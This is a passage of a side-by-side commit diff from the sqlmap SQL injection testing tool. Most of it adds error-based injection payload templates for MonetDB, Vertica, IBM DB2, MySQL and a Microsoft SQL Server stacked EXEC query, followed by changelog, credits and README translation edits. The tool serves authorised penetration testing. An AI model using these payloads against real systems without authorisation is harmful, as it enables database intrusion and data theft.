<risk>1</risk> <risk>1</risk>
<clause>1,9</clause> <clause>1</clause>
<where>1</where> <where>1</where>
<vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector> <vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
<request> <request>
@@ -689,9 +723,9 @@
<test> <test>
<title>Firebird OR error-based - WHERE or HAVING clause</title> <title>Firebird OR error-based - WHERE or HAVING clause</title>
<stype>2</stype> <stype>2</stype>
<level>3</level> <level>4</level>
<risk>3</risk> <risk>3</risk>
<clause>1,9</clause> <clause>1</clause>
<where>2</where> <where>2</where>
<vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector> <vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
<request> <request>
@@ -704,6 +738,121 @@
<dbms>Firebird</dbms> <dbms>Firebird</dbms>
</details> </details>
</test> </test>
<test>
<title>MonetDB AND error-based - WHERE or HAVING clause</title>
<stype>2</stype>
<level>3</level>
<risk>1</risk>
<clause>1</clause>
<where>1</where>
<vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
<request>
<payload>AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]')</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>MonetDB</dbms>
</details>
</test>
<test>
<title>MonetDB OR error-based - WHERE or HAVING clause</title>
<stype>2</stype>
<level>4</level>
<risk>3</risk>
<clause>1</clause>
<where>2</where>
<vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
<request>
<payload>OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]')</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>MonetDB</dbms>
</details>
</test>
<test>
<title>Vertica AND error-based - WHERE or HAVING clause</title>
<stype>2</stype>
<level>3</level>
<risk>1</risk>
<clause>1</clause>
<where>1</where>
<vector>AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
<request>
<payload>AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC)</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>Vertica</dbms>
</details>
</test>
<test>
<title>Vertica OR error-based - WHERE or HAVING clause</title>
<stype>2</stype>
<level>4</level>
<risk>3</risk>
<clause>1</clause>
<where>2</where>
<vector>OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
<request>
<payload>OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC)</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>Vertica</dbms>
</details>
</test>
<test>
<title>IBM DB2 AND error-based - WHERE or HAVING clause</title>
<stype>2</stype>
<level>3</level>
<risk>1</risk>
<clause>1</clause>
<where>1</where>
<vector>AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
<request>
<payload>AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>IBM DB2</dbms>
</details>
</test>
<test>
<title>IBM DB2 OR error-based - WHERE or HAVING clause</title>
<stype>2</stype>
<level>4</level>
<risk>1</risk>
<clause>1</clause>
<where>1</where>
<vector>OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
<request>
<payload>OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>IBM DB2</dbms>
</details>
</test>
<!-- <!--
TODO: if possible, add payload for SQLite, Microsoft Access, TODO: if possible, add payload for SQLite, Microsoft Access,
and SAP MaxDB - no known techniques at this time and SAP MaxDB - no known techniques at this time
@@ -777,6 +926,26 @@
</details> </details>
</test> </test>
<test>
<title>MySQL &gt;= 5.6 error-based - Parameter replace (GTID_SUBSET)</title>
<stype>2</stype>
<level>5</level>
<risk>1</risk>
<clause>1,2,3,9</clause>
<where>3</where>
<vector>GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
<request>
<payload>GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt;= 5.6</dbms_version>
</details>
</test>
<test> <test>
<title>MySQL &gt;= 5.7.8 error-based - Parameter replace (JSON_KEYS)</title> <title>MySQL &gt;= 5.7.8 error-based - Parameter replace (JSON_KEYS)</title>
<stype>2</stype> <stype>2</stype>
@@ -924,7 +1093,6 @@
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>
@@ -945,7 +1113,6 @@
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>
@@ -986,6 +1153,25 @@
<dbms>Firebird</dbms> <dbms>Firebird</dbms>
</details> </details>
</test> </test>
<test>
<title>IBM DB2 error-based - Parameter replace</title>
<stype>2</stype>
<level>4</level>
<risk>1</risk>
<clause>1,3</clause>
<where>3</where>
<vector>RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
<request>
<payload>RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>IBM DB2</dbms>
</details>
</test>
<!-- End of error-based tests - Parameter replace --> <!-- End of error-based tests - Parameter replace -->
<!-- Error-based tests - ORDER BY, GROUP BY clause --> <!-- Error-based tests - ORDER BY, GROUP BY clause -->
@@ -1029,6 +1215,26 @@
</details> </details>
</test> </test>
<test>
<title>MySQL &gt;= 5.6 error-based - ORDER BY, GROUP BY clause (GTID_SUBSET)</title>
<stype>2</stype>
<level>5</level>
<risk>1</risk>
<clause>2,3</clause>
<where>1</where>
<vector>,GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
<request>
<payload>,GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt;= 5.6</dbms_version>
</details>
</test>
<test> <test>
<title>MySQL &gt;= 5.7.8 error-based - ORDER BY, GROUP BY clause (JSON_KEYS)</title> <title>MySQL &gt;= 5.7.8 error-based - ORDER BY, GROUP BY clause (JSON_KEYS)</title>
<stype>2</stype> <stype>2</stype>
@@ -1129,7 +1335,6 @@
</details> </details>
</test> </test>
<test> <test>
<title>PostgreSQL error-based - ORDER BY, GROUP BY clause</title> <title>PostgreSQL error-based - ORDER BY, GROUP BY clause</title>
<stype>2</stype> <stype>2</stype>
@@ -1185,7 +1390,6 @@
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>
@@ -1213,7 +1417,7 @@
<stype>2</stype> <stype>2</stype>
<level>5</level> <level>5</level>
<risk>1</risk> <risk>1</risk>
<clause>2,3</clause> <clause>3</clause>
<where>1</where> <where>1</where>
<vector>,(SELECT [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'))</vector> <vector>,(SELECT [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'))</vector>
<request> <request>
@@ -1226,9 +1430,51 @@
<dbms>Firebird</dbms> <dbms>Firebird</dbms>
</details> </details>
</test> </test>
<test>
<title>IBM DB2 error-based - ORDER BY clause</title>
<stype>2</stype>
<level>5</level>
<risk>1</risk>
<clause>3</clause>
<where>1</where>
<vector>,RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
<request>
<payload>,RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>IBM DB2</dbms>
</details>
</test>
<!-- <!--
TODO: if possible, add payload for SQLite, Microsoft Access TODO: if possible, add payload for SQLite, Microsoft Access
and SAP MaxDB - no known techniques at this time and SAP MaxDB - no known techniques at this time
--> -->
<!-- End of error-based tests - ORDER BY, GROUP BY clause --> <!-- End of error-based tests - ORDER BY, GROUP BY clause -->
<!-- Error-based tests - stacking -->
<test>
<title>Microsoft SQL Server/Sybase error-based - Stacking (EXEC)</title>
<stype>2</stype>
<level>2</level>
<risk>1</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]');EXEC @[RANDSTR]</vector>
<request>
<payload>;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]');EXEC @[RANDSTR]</payload>
<comment>--</comment>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
</details>
</test>
<!-- End of error-based tests - stacking -->
</root> </root>

View File

@@ -3,19 +3,31 @@
<root> <root>
<!-- Inline queries tests --> <!-- Inline queries tests -->
<test> <test>
<title>MySQL inline queries</title> <title>Generic inline queries</title>
<stype>3</stype> <stype>3</stype>
<level>1</level> <level>1</level>
<risk>1</risk> <risk>1</risk>
<clause>1,2,3,8</clause> <clause>1,2,3,8</clause>
<where>3</where> <where>3</where>
<vector>(SELECT CONCAT(CONCAT('[DELIMITER_START]',([QUERY])),'[DELIMITER_STOP]'))</vector>
<request>
<payload>(SELECT CONCAT(CONCAT('[DELIMITER_START]',(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]'))</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
</test>
<test>
<title>MySQL inline queries</title>
<stype>3</stype>
<level>2</level>
<risk>1</risk>
<clause>1,2,3,8</clause>
<where>3</where>
<vector>(SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector> <vector>(SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
<request> <request>
<!-- These work as good as ELT(), but are longer <payload>(SELECT CONCAT('[DELIMITER_START]',(ELT([RANDNUM]=[RANDNUM],1)),'[DELIMITER_STOP]'))</payload>
<payload>(SELECT CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))</payload>
<payload>(SELECT CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
-->
<payload>(SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@@ -28,7 +40,7 @@
<test> <test>
<title>PostgreSQL inline queries</title> <title>PostgreSQL inline queries</title>
<stype>3</stype> <stype>3</stype>
<level>1</level> <level>2</level>
<risk>1</risk> <risk>1</risk>
<clause>1,2,3,8</clause> <clause>1,2,3,8</clause>
<where>3</where> <where>3</where>
@@ -47,13 +59,13 @@
<test> <test>
<title>Microsoft SQL Server/Sybase inline queries</title> <title>Microsoft SQL Server/Sybase inline queries</title>
<stype>3</stype> <stype>3</stype>
<level>1</level> <level>2</level>
<risk>1</risk> <risk>1</risk>
<clause>1,2,3,8</clause> <clause>1,2,3,8</clause>
<where>3</where> <where>3</where>
<vector>(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')</vector> <vector>(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')</vector>
<request> <request>
<payload>(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')</payload> <payload>(SELECT '[DELIMITER_START]'+(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)+'[DELIMITER_STOP]')</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@@ -61,7 +73,6 @@
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>
@@ -74,7 +85,8 @@
<where>3</where> <where>3</where>
<vector>(SELECT ('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') FROM DUAL)</vector> <vector>(SELECT ('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') FROM DUAL)</vector>
<request> <request>
<payload>(SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]' FROM DUAL)</payload> <!-- NOTE: Vertica works too without the TO_NUMBER() -->
<payload>(SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN TO_NUMBER(1) ELSE TO_NUMBER(0) END)||'[DELIMITER_STOP]' FROM DUAL)</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@@ -93,7 +105,7 @@
<where>3</where> <where>3</where>
<vector>SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'</vector> <vector>SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'</vector>
<request> <request>
<payload>SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))||'[DELIMITER_STOP]'</payload> <payload>SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]'</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>

View File

@@ -264,7 +264,6 @@
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>
@@ -286,7 +285,6 @@
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>
@@ -307,7 +305,6 @@
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>
@@ -328,7 +325,6 @@
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>

View File

@@ -588,7 +588,6 @@
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>
@@ -610,7 +609,6 @@
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>
@@ -631,7 +629,6 @@
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>
@@ -652,7 +649,6 @@
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>
@@ -674,7 +670,6 @@
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>
@@ -696,7 +691,6 @@
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>
@@ -1638,7 +1632,6 @@
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>
@@ -1936,7 +1929,6 @@
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>

File diff suppressed because it is too large Load Diff

View File

@@ -1,14 +1,22 @@
# Version 1.4 (2020-01-01)
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.3...1.4)
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/5?closed=1)
# Version 1.3 (2019-01-05) # Version 1.3 (2019-01-05)
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.2...1.3) * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.2...1.3)
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/4?closed=1)
# Version 1.2 (2018-01-08) # Version 1.2 (2018-01-08)
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.1...1.2) * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.1...1.2)
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/3?closed=1)
# Version 1.1 (2017-04-07) # Version 1.1 (2017-04-07)
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.0...1.1) * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.0...1.1)
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/2?closed=1)
# Version 1.0 (2016-02-27) # Version 1.0 (2016-02-27)

View File

@@ -112,6 +112,9 @@ Alessio Dalla Piazza, <alessio.dallapiazza(at)gmail.com>
Sherif El-Deeb, <archeldeeb(at)gmail.com> Sherif El-Deeb, <archeldeeb(at)gmail.com>
* for reporting a minor bug * for reporting a minor bug
Thomas Etrillard, <thomas.etrillard(at)synacktiv.com>
* for contributing the IBM DB2 error-based payloads (RAISE_ERROR)
Stefano Di Paola, <stefano.dipaola(at)wisec.it> Stefano Di Paola, <stefano.dipaola(at)wisec.it>
* for suggesting good features * for suggesting good features
@@ -317,6 +320,9 @@ Michael Majchrowicz, <mmajchrowicz(at)gmail.com>
Vinícius Henrique Marangoni, <vinicius_marangoni1(at)hotmail.com> Vinícius Henrique Marangoni, <vinicius_marangoni1(at)hotmail.com>
* for contributing a Portuguese translation of README.md * for contributing a Portuguese translation of README.md
Francesco Marano, <francesco.mrn24(at)gmail.com>
* for contributing the Microsoft SQL Server/Sybase error-based - Stacking (EXEC) payload
Ahmad Maulana, <matdhule(at)gmail.com> Ahmad Maulana, <matdhule(at)gmail.com>
* for contributing a tamper script halfversionedmorekeywords.py * for contributing a tamper script halfversionedmorekeywords.py
@@ -486,6 +492,9 @@ Marek Sarvas, <marek.sarvas(at)gmail.com>
Philippe A. R. Schaeffer, <schaeff(at)compuphil.de> Philippe A. R. Schaeffer, <schaeff(at)compuphil.de>
* for reporting a minor bug * for reporting a minor bug
Henri Salo <henri(at)nerv.fi>
* for a donation
Mohd Zamiri Sanin, <zamiri.sanin(at)gmail.com> Mohd Zamiri Sanin, <zamiri.sanin(at)gmail.com>
* for reporting a minor bug * for reporting a minor bug

View File

@@ -0,0 +1,84 @@
# sqlmap ![](https://i.imgur.com/fe85aVR.png)
[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap)
<div dir=rtl>
برنامه `sqlmap`، برنامه‌ی منبع باز هست که برای تست نفوذ پذیزی دربرابر حمله‌های احتمالی `sql injection` (جلوگیری از لو رفتن پایگاه داده) جلو گیری می‌کند. این برنامه مجهز به مکانیزیم تشخیص قدرتمندی می‌باشد. همچنین داری طیف گسترده‌ای از اسکریپت ها می‌باشد که برای متخصص تست نفوذ کار کردن با بانک اطلاعاتی را راحتر می‌کند. از جمع اوری اطلاعات درباره بانک داده تا دسترسی به داده های سیستم و اجرا دستورات از طریق `via out-of-band` درسیستم عامل را امکان پذیر می‌کند.
عکس
----
<div dir=ltr>
![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
<div dir=rtl>
برای دیدن کردن از [مجموعه‌ی از اسکریپت‌ها](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) می‌توانید از ویکی دیدن کنید.
نصب
----
برای دانلود اخرین نسخه tarball، با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/tarball/master) یا دانلود اخرین نسخه zipball با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/zipball/master) میتوانید این کار را انجام دهید.
طرز استفاده
----
برای گرفتن لیست ارگومان‌های اساسی می‌توانید از دستور زیر استفاده کنید:
<div dir=ltr>
```
python sqlmap.py -h
```
<div dir=rtl>
برای گرفتن لیست تمامی ارگومان‌های می‌توانید از دستور زیر استفاده کنید:
<div dir=ltr>
```
python sqlmap.py -hh
```
<div dir=rtl>
برای اطلاعات بیشتر برای اجرا از [اینجا](https://asciinema.org/a/46601) می‌توانید استفاده کنید. برای گرفتن اطلاعات بیشتر توسعه می‌شود به [راهنمای](https://github.com/sqlmapproject/sqlmap/wiki/Usage) `sqlmap` سر بزنید.
لینک‌ها
----
* خانه: http://sqlmap.org
* دانلود: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* کایمت و نظرات: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* پیگری مشکلات: https://github.com/sqlmapproject/sqlmap/issues
* راهنمای کاربران: https://github.com/sqlmapproject/sqlmap/wiki
* سوالات متداول: https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* تویتر: [@sqlmap](https://twitter.com/sqlmap)
* رسانه: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
* عکس‌ها: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View File

@@ -32,7 +32,7 @@ Pour afficher une liste complète des options et des commutateurs (switches), ta
python sqlmap.py -hh python sqlmap.py -hh
Vous pouvez regarder un vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples. Vous pouvez regarder une vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples.
Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnalités prises en charge, la description de toutes les options, ainsi que des exemples, nous vous recommandons de consulter [le wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnalités prises en charge, la description de toutes les options, ainsi que des exemples, nous vous recommandons de consulter [le wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
Liens Liens

View File

@@ -2,7 +2,7 @@
[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) [![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap)
sqlmap é uma ferramenta de teste de penetração de código aberto que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de penetração por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional. sqlmap é uma ferramenta de teste de intrusão, de código aberto, que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de intrusão por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional.
Imagens Imagens
---- ----
@@ -14,8 +14,7 @@ Você pode visitar a [coleção de imagens](https://github.com/sqlmapproject/sql
